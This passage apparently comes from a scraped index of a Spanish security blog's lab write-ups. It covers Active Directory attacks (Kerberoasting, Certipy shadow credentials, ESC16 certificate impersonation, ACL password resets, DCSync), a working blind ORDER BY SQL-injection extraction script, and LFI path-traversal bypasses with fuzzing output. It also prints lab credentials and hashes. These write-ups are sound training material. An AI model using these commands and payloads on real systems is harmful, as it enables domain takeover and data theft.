(+0100) +25199.665597 +/- 0.037951 fluffy.htb 10.129.78.23 s1 no-leap CLOCK: time stepped by 25199.665597 [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [+] Printing hash for (ca_svc) $krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$... [+] Printing hash for (ldap_svc) $krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$... [+] Printing hash for (winrm_svc) $krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$... Intento crackear, pero no saco nada útil.\nShadow Credentials con Certipy Cambio de enfoque y pruebo Shadow Credentials. La idea aquí es modificar el atributo msDS-KeyCredentialLink para poder autenticarse con PKINIT sin conocer la contraseña.\nEjecuto:\nntpdate -u fluffy.htb \u0026amp;\u0026amp; certipy-ad shadow auto -username p.agila@fluffy.htb -password \u0026#39;prometheusx-303\u0026#39; -account ca_svc 2026-01-20 01:08:18.579036 (+0100) +25199.672015 +/- 0.024036 fluffy.htb 10.129.78.23 s1 no-leap CLOCK: time stepped by 25199.672015 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Targeting user \u0026#39;ca_svc\u0026#39; [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID \u0026#39;224a33db-8f3b-e338-547f-7e9041c661cd\u0026#39; [*] Adding Key Credential with device ID \u0026#39;224a33db-8f3b-e338-547f-7e9041c661cd\u0026#39; to the Key Credentials for \u0026#39;ca_svc\u0026#39; [*] Successfully added Key Credential with device ID \u0026#39;224a33db-8f3b-e338-547f-7e9041c661cd\u0026#39; to the Key Credentials for \u0026#39;ca_svc\u0026#39; [*] Authenticating as \u0026#39;ca_svc\u0026#39; with the certificate [*] Using principal: ca_svc@fluffy.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to \u0026#39;ca_svc.ccache\u0026#39; [*] Trying to retrieve NT hash for \u0026#39;ca_svc\u0026#39; [-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) [-] Use -debug to print a stacktrace Aunque aquí no saco el NT hash por el clock skew, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el .pfx.\nntpdate -u fluffy.htb \u0026amp;\u0026amp; certipy-ad shadow add -username p.agila@fluffy.htb -password \u0026#39;prometheusx-303\u0026#39; -account ca_svc -dc-ip 10.129.78.23 [*] Targeting user \u0026#39;ca_svc\u0026#39; [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID \u0026#39;50de2216-d7b5-75e9-0e19-555d205a9a10\u0026#39; [*] Adding Key Credential with device ID \u0026#39;50de2216-d7b5-75e9-0e19-555d205a9a10\u0026#39; to the Key Credentials for \u0026#39;ca_svc\u0026#39; [*] Successfully added Key Credential with device ID \u0026#39;50de2216-d7b5-75e9-0e19-555d205a9a10\u0026#39; to the Key Credentials for \u0026#39;ca_svc\u0026#39; [*] Saved certificate and private key to \u0026#39;ca_svc.pfx\u0026#39; Con el .pfx ya puedo pedir el hash NT:\nntpdate -u fluffy.htb \u0026amp;\u0026amp; certipy-ad auth -pfx ca_svc.pfx -dc-ip 10.129.78.23 -username ca_svc -domain fluffy.htb [!] Could not find identification in the provided certificate [*] Using principal: ca_svc@fluffy.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to \u0026#39;ca_svc.ccache\u0026#39; [*] Trying to retrieve NT hash for \u0026#39;ca_svc\u0026#39; [*] Got hash for \u0026#39;ca_svc@fluffy.htb\u0026#39;: aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8 A partir de aquí, asumo que tengo delante una infraestructura AD CS (por la cuenta de servicio de CA).\nEnumeración AD CS y detección de ESC16 Busco plantillas/vulnerabilidades con Certipy:\ncertipy-ad find -u \u0026#39;ca_svc\u0026#39; -hashes \u0026#39;:ca0f4f9e9eb8a092addf53bb03fc98c8\u0026#39; -dc-ip 10.129.78.23 -vulnerable -enabled -stdout ... [!] Vulnerabilities ESC16 : Security Extension is disabled. [*] Remarks ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details. Certificate Templates : [!] Could not find any certificate templates Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):\n“Exploitation with Certipy\nThe exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, any certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with CT_FLAG_NO_SECURITY_EXTENSION.\nScenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a \u0026ldquo;victim\u0026rdquo; account\u0026rsquo;s UPN)\nAttacker (attacker@corp.local) has GenericWrite permission over a \u0026ldquo;victim\u0026rdquo; account (victim@corp.local). The victim account can enroll in any suitable client authentication template (e.g., the default \u0026ldquo;User\u0026rdquo; template) on the ESC16-vulnerable CA. The target for impersonation is administrator@corp.local.\nStep 1: Read initial UPN of the victim account (Optional - for restoration).\ncertipy account \\ -u \u0026#39;attacker@corp.local\u0026#39; -p \u0026#39;Passw0rd!\u0026#39; \\ -dc-ip \u0026#39;10.0.0.100\u0026#39; -user \u0026#39;victim\u0026#39; \\ read Expected Output Snippet:\nCertipy v5.0.0 - by Oliver Lyak (ly4k) [*] Reading attributes for \u0026#39;victim\u0026#39;: cn : Victim userPrincipalName : victim@CORP.LOCAL ... Step 2: Update the victim account\u0026rsquo;s UPN to the target administrator\u0026rsquo;s sAMAccountName****.\ncertipy account \\ -u \u0026#39;attacker@corp.local\u0026#39; -p \u0026#39;Passw0rd!\u0026#39; \\ -dc-ip \u0026#39;10.0.0.100\u0026#39; -upn \u0026#39;administrator\u0026#39; \\ -user \u0026#39;victim\u0026#39; update Expected Output Snippet:\nCertipy v5.0.0 - by Oliver Lyak (ly4k) [*] Updating user \u0026#39;victim\u0026#39;: userPrincipalName : administrator [*] Successfully updated \u0026#39;victim\u0026#39; Step 3: (If needed) Obtain credentials for the \u0026ldquo;victim\u0026rdquo; account (e.g., via Shadow Credentials).\ncertipy shadow \\ -u \u0026#39;attacker@corp.local\u0026#39; -p \u0026#39;Passw0rd!\u0026#39; \\ -dc-ip \u0026#39;10.0.0.100\u0026#39; -account \u0026#39;victim\u0026#39; \\ auto Expected Output Snippet:\nCertipy v5.0.0 - by Oliver Lyak (ly4k) ... [*] Saving credential cache to \u0026#39;victim.ccache\u0026#39; [*] Wrote credential cache to \u0026#39;victim.ccache\u0026#39; [*] NT hash for \u0026#39;victim\u0026#39;: fc525c9683e8fe067095ba2ddc971889 Step 4: Request a certificate as the \u0026ldquo;victim\u0026rdquo; user from any suitable client authentication template (e.g., \u0026ldquo;User\u0026rdquo;) on the ESC16-vulnerable CA. Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template\u0026rsquo;s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):\nexport KRB5CCNAME=victim.ccache Then request the certificate:\ncertipy req \\ -k -dc-ip \u0026#39;10.0.0.100\u0026#39; \\ -target \u0026#39;CA.CORP.LOCAL\u0026#39; -ca \u0026#39;CORP-CA\u0026#39; \\ -template \u0026#39;User\u0026#39; Expected Output Snippet:\n`Certipy v5.0.0 - by Oliver Lyak (ly4k)\n[*] Requesting certificate via RPC [*] Request ID is 1 [*] Successfully requested certificate [*] Got certificate with UPN \u0026lsquo;administrator@corp.local\u0026rsquo; [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to \u0026lsquo;administrator.pfx\u0026rsquo; [*] Wrote certificate and private key to \u0026lsquo;administrator.pfx\u0026rsquo;` ”\nAjuste de tiempo y hash de winrm_svc Necesito maniobrar rápido (porque p.agila vuelve a su estado normal en poco tiempo), así que saco el hash de winrm_svc para trabajar más cómodo.\nfaketime -f +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip 10.129.78.23 -username winrm_svc -domain fluffy.htb Certipy v4.8.2 - by Oliver Lyak (ly4k) [!] Could not find identification in the provided certificate [*] Using principal: winrm_svc@fluffy.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to \u0026#39;winrm_svc.ccache\u0026#39; [*] Trying to retrieve NT hash for \u0026#39;winrm_svc\u0026#39; [*] Got hash for \u0026#39;winrm_svc@fluffy.htb\u0026#39;: aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767 Nota: aquí uso faketime para “fakear” la hora y evitar problemas de Kerberos (porque ntpupdate no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.\nUser flag (WinRM) Con esa cuenta entro por evilwin-rm y obtengo la user flag.\nESC16: UPN manipulation + certificado de Administrator Modifico el UPN de ca_svc y lo pongo como administrator\nHago el request del certificado y puedo impersonar a Administrator.\nDespués tengo que revertir el UPN de ca_svc a otro valor para que el nombre administrator vuelva a apuntar al Administrador real.\nRevierto el UPN de ca_svc:\ncertipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update\nY me autentico con el certificado de Administrator:\nfaketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb\nLo tengo.\n","permalink":"https://synacklabs.github.io/posts/fluffy/","tags":["AD","Windows","ACL","AD-CS"],"title":"Fluffy (Easy)"},{"categories":["Challenge"],"content":"Resumen Este endpoint (/api/list) permite controlar el parámetro order que se inserta en un ORDER BY, lo que abre la puerta a una SQL Injection ciega (boolean-based). A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna flag).\nCódigo vulnerable (punto de entrada) En el backend se construye una query concatenando order:\nasync getEmojis(order) { // TOOD: add parametrization return new Promise(async (resolve, reject) =\u0026gt; { try { let query = `SELECT * FROM emojis ORDER BY ${ order }`; resolve(await this.db.all(query)); } catch(e) { reject(e); } }); } Y el endpoint recibe order desde el body:\nrouter.post(\u0026#39;/api/list\u0026#39;, (req, res) =\u0026gt; { let { order } = req.body; if (order) { return db.getEmojis(order) .then(data =\u0026gt; { if (data) { return res.json(data); } return res.send(response(\u0026#39;Seems like there are no emojis\u0026#39;)); }) .catch((e) =\u0026gt; { return res.send(response(\u0026#39;Something went wrong\u0026#39;)); }) } return res.send(response(\u0026#39;Missing parameters\u0026#39;)) }); Confirmación: control del order Podemos controlar el parámetro order.\nSQLi boolean-based en ORDER BY La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un CASE WHEN.\n\u0026#34;order\u0026#34;:\u0026#34;(CASE WHEN (1=1) THEN id ELSE count END) ASC\u0026#34; # true \u0026#34;order\u0026#34;:\u0026#34;(CASE WHEN (1=0) THEN id ELSE count END) ASC\u0026#34; # false Si la condición es True, la lista queda ordenada por id. Si es False, se ordena por count. Con esa diferencia podemos inferir bits de información.\nExtracción carácter a carácter (blind) Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con substr (o substring) y compararlo. En el script de ejemplo, se compara contra el valor en hex para manejar caracteres especiales.\nimport requests import string host, port = \u0026#39;94.237.51.160\u0026#39;, 45916 HOST = f\u0026#39;{{http://{host}}}:{port}\u0026#39; def req(payload): try: r = requests.post (f\u0026#39;{HOST}/api/list\u0026#39;, data={\u0026#39;order\u0026#39;: payload}) return r.json() except Exception as e: print(f\u0026#34;Request failed: {e}\u0026#34;) return [] i = 0 f = \u0026#39;\u0026#39; print(\u0026#34;Starting injection...\u0026#34;) while True: i += 1 found_char = False for char in string.printable: if char == \u0026#34;\u0026#39;\u0026#34;: continue # Convert char to hex to handle special characters safely in SQLite char_hex = format(ord(char), \u0026#39;x\u0026#39;).upper() # Construct the query # We check if the hex of the substring equals our hex character query = f\u0026#34;SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39; LIMIT 1 OFFSET 0),{i}, 1)) = \u0026#39;{char_hex}\u0026#39;\u0026#34; # Injection payload for ORDER BY clause # If True, order by \u0026#39;id\u0026#39; (id 1 comes first usually) # If False, order by \u0026#39;count\u0026#39; (assuming a different order) payload = f\u0026#39;(CASE WHEN ({query}) THEN id ELSE count END) ASC\u0026#39; response = req(payload) # Check if we got a valid response and if the first item has id 1 if response and response[0].get(\u0026#39;id\u0026#39;) == 1: f += char print(f\u0026#34;[+] Found character: {char} | Current String: {f}\u0026#34;) found_char = True break # If we went through all characters and didn\u0026#39;t find a match, the string has ended if not found_char: print(f\u0026#34;Extraction complete. Final string: {f}\u0026#34;) break Salida del script (ejemplo):\npython exploit.py Starting injection... [+] Found character: f | Current String: f [+] Found character: l | Current String: fl [+] Found character: a | Current String: fla [+] Found character: g | Current String: flag [+] Found character: _ | Current String: flag_ [+] Found character: e | Current String: flag_e [+] Found character: 7 | Current String: flag_e7 [+] Found character: 2 | Current String: flag_e72 [+] Found character: 6 | Current String: flag_e726 [+] Found character: 4 | Current String: flag_e7264 [+] Found character: b | Current String: flag_e7264b [+] Found character: 5 | Current String: flag_e7264b5 [+] Found character: d | Current String: flag_e7264b5d [+] Found character: 9 | Current String: flag_e7264b5d9 [+] Found character: 0 | Current String: flag_e7264b5d90 Extraction complete. Final string: flag_e7264b5d90 Enumeración de columnas en SQLite En SQLite no existe DESCRIBE table como en MySQL. En su lugar, se puede consultar la columna sql de sqlite_master, que contiene el CREATE TABLE.\nCambiamos el query por:\nquery = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\\{flag_e7264b5d90\\}'), \\{i\\}, 1)) = '\\{char_hex\\}' '''\nObtenemos una cadena como:\nCREATE TABLE flag_e7264b5d90 (flag TEXT) Lo que nos revela el nombre de la columna: flag.\nExtracción del valor de la flag Finalmente, apuntamos a la columna flag:\nquery = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \\{i\\}, 1)) = '\\{char_hex\\}' '''\n","permalink":"https://synacklabs.github.io/posts/emojivoting/","tags":["SQL injection"],"title":"emoji voting (Easy)"},{"categories":["Machine"],"content":"Resumen Esta máquina es una muy buena introducción a Active Directory si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por WinRM, enumeramos el dominio con RustHound/BloodHound, abusamos de ACLs (GenericAll / ForceChangePassword) para pivotar entre usuarios, recuperamos credenciales desde un backup en FTP y terminamos con una cadena clásica hacia DCSync para obtener el hash de Administrator.\nAunque en HTB aparece como Medium, no me parece una máquina complicada. La dificultad real está en entender el camino de AD y qué significa cada permiso, más que en la explotación en sí.\nEnumeración Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un DC (Kerberos, LDAP, SMB, WinRM, etc.).\nPORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 127 Microsoft ftpd 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 ... Service Info: Host: DC; OS: Windows SMB (445) Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.\nnxc smb 10.129.75.64 -u Olivia -p \u0026#39;ichliebedich\u0026#39; --shares ... Share Permissions Remark ADMIN$ C$ IPC$ READ Remote IPC NETLOGON READ Logon server share SYSVOL READ Logon server share nxc smb 10.129.75.64 -u Olivia -p \u0026#39;ichliebedich\u0026#39; --users ... olivia michael benjamin emily ethan alexander emma Acceso inicial por WinRM El siguiente paso lógico es probar WinRM, y efectivamente con Olivia podemos entrar.\nnxc winrm 10.129.75.64 -u Olivia -p \u0026#39;ichliebedich\u0026#39; WINRM 10.129.75.64 5985 DC [+] administrator.htb\\Olivia:ichliebedich (Pwn3d!) Enumeración de AD con RustHound + BloodHound Una vez dentro, enumeramos el dominio con RustHound-CE y luego lo analizamos con BloodHound.\nrusthound-ce --domain administrator.htb -u olivia@administrator.htb -z ... MachineAccountQuota: 10 ... .//20260117114901_administrator-htb_ rusthound-ce.zip created! En el grafo vemos que Olivia tiene GenericAll sobre el usuario Michael. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.\n“The GenericAll permission grants OLIVIA@ADMINISTRATOR.HTB the ability to change the password of the user MICHAEL@ADMINISTRATOR.HTB without knowing their current password.”\nPivot 1: Olivia → Michael (ForceChangePassword) Subimos PowerView.ps1 (por ejemplo, con upload desde evil-winrm) y cambiamos la contraseña de Michael usando las credenciales de Olivia.\n$SecPassword = ConvertTo-SecureString \u0026#39;ichliebedich\u0026#39; -AsPlainText -Force $Cred = New-Object System.Management .Automation.PSCredential(\u0026#39;ADMINISTRATOR\\\\olivia\u0026#39;, $SecPassword) $UserPassword = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred Con esto ya tenemos acceso como michael.\nPivot 2: Michael → Benjamin Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de Benjamin.\nFTP: recuperamos un backup de credenciales Con Benjamin vemos algo nuevo: acceso a FTP, donde encontramos un archivo de backup.\nftp\u0026gt; dir ... 10-05-24 08:13AM 952 Backup.psafe3 El archivo es una base de datos de Password Safe V3.\nfile Backup.psafe3 Backup.psafe3: Password Safe V3 database Extraemos el hash y lo crackeamos.\nAbrimos el gestor y obtenemos 3 credenciales:\nalexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur Camino a Domain Admin En BloodHound, mirando el Shortest Path to Domain Admin, vemos una ruta clara:\nEmily tiene GenericWrite sobre Ethan. Si comprometemos Ethan, podemos hacer DCSync para dumpear los hashes del dominio. Intento: Shadow Credentials (no soportado) Probamos Shadow Credentials, pero el KDC no soporta autenticación con certificados y falla con:\nminikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Alternativa: Kerberoasting dirigido Sin Shadow Credentials, seguimos por Kerberoasting. Primero sincronizamos la hora para evitar problemas con Kerberos.\nsudo ntpdate -u 10.129.75.64 \u0026amp;\u0026amp; python targetedKerberoast.py -v -d \u0026#39;administrator.htb\u0026#39; -u \u0026#39;emily\u0026#39; -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; Crackeamos el hash y obtenemos la password:\nhashcat -m 13100 ethan.hash /usr/share/wordlists/seclists/rockyou.txt --\u0026gt; limpbizkit DCSync y escalada final Con Ethan hacemos DCSync para obtener los hashes del dominio.\nimpacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64 Finalmente hacemos PtH con el hash de Administrator y quedamos pwned.\n","permalink":"https://synacklabs.github.io/posts/administrator/","tags":["Windows","AD","ACL","DCSync"],"title":"Administrator (Medium)"},{"categories":["Machine"],"content":"\nResumen Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un stack-based buffer overflow y, siendo sinceros, no soy muy fan del buffer overflow, así que me obligó a ir con mucho más cuidado de lo normal.\nA grandes rasgos, la intrusión va así:\nEnumeración web y descubrimiento de un LFI en page= usando php://filter. Bypass del filtro de path traversal por cómo usan str_replace. Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a BOF. Explotación con Ret2Libc (por NX) y obtención de reverse shell. Escalada a dev abusando de un backup service con zip. Escalada a root abusando de binfmt_misc mediante un helper con cap_dac_override. Enumeración inicial PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8= | 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU= | 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/ 80/tcp open http syn-ack ttl 63 nginx | http-title: Agency - Start Bootstrap Theme |_Requested resource was /index.php?page=default.html |_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA | http-methods: |_ Supported Methods: GET HEAD POST Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel En la web, por defecto no hay mucho, así que toca hacer fuzzing.\nFuzzing y descubrimiento de beta.html Encontramos un beta.html en el fuzzing de directorios.\ngobuster dir -u http://10.129.71.227 -w /usr/share/dirb/wordlists/common.txt -x php,html -q /assets (Status: 301) [Size: 162] [--\u0026gt; http://10.129.71.227/assets/ ] /beta.html (Status: 200) [Size: 4144] /css (Status: 301) [Size: 162] [--\u0026gt; http://10.129.71.227/css/ ] /default.html (Status: 200) [Size: 11414] LFI en page= con php://filter Vemos que en el endpoint principal hay un parámetro modificable page=. El comportamiento sugiere LFI usando php://filter/read=convert.base64-encode/resource=....\nAl leer default.html en Base64, simplemente decodificando obtenemos el contenido en texto claro.\nHay un filtro que intenta evitar el típico ../.., pero se puede bypassear con doble barra ..//...\nIntento de Log Poisoning (no viable) Probamos log poisoning leyendo:\nphp://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.\nBypass del filtro (por str_replace no recursivo) Aquí está el problema.\nEsto busca la cadena ../ y la elimina. La vulnerabilidad: str_replace no es recursivo. Solo lo hace una vez. El bypass: si se envía ....//, el sistema elimina los dos caracteres del medio (../) y une los extremos, creando un nuevo ../ que el sistema ya no revisa. Archivos interesantes vía LFI Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:\nnginx.conf user www-data; worker_processes auto; pid /run/ nginx.pid ; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; } http { sendfile on; tcp_nopush on; types_hash_max_size 2048; server_tokens off; server_names_hash_bucket_size 64; server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; gzip on; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } Y también /etc/passwd:\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:105::/nonexistent:/usr/sbin/nologin _chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin vagrant:x:1000:1000::/vagrant:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin dev:x:1001:1001::/home/dev:/bin/bash Users: www-data, vagrant\nRFI (no viable) Probamos con un RFI, pero no ejecuta.\nFuzzing de archivos sensibles ──(kali㉿kali)-[~] └─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://previous.htb/index.php?page=php://filter/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ -fs 0 ..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms] /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms] ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 56ms] /etc/apt/sources.list [Status: 200, Size: 632, Words: 1, Lines: 1, Duration: 31ms] /etc/crontab [Status: 200, Size: 1392, Words: 1, Lines: 1, Duration: 26ms] /etc/fstab [Status: 200, Size: 436, Words: 1, Lines: 1, Duration: 32ms] /etc/group [Status: 200, Size: 940, Words: 1, Lines: 1, Duration: 26ms] ../../../../../../../../../../../../etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 30ms] /etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 31ms] /etc/hosts.deny [Status: 200, Size: 948, Words: 1, Lines: 1, Duration: 72ms] /etc/hosts.allow [Status: 200, Size: 548, Words: 1, Lines: 1, Duration: 73ms] /etc/netconfig [Status: 200, Size: 1024, Words: 1, Lines: 1, Duration: 37ms] /etc/motd [Status: 200, Size: 384, Words: 1, Lines: 1, Duration: 42ms] /etc/issue [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 45ms] /etc/nsswitch.conf [Status: 200, Size: 680, Words: 1, Lines: 1, Duration: 45ms] /./././././././././././etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 40ms] /etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms] ../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms] ../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms] ../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms] ../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms] ../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms] ../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms] /../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms] ../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 30ms] ../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms] ../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms] ../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, 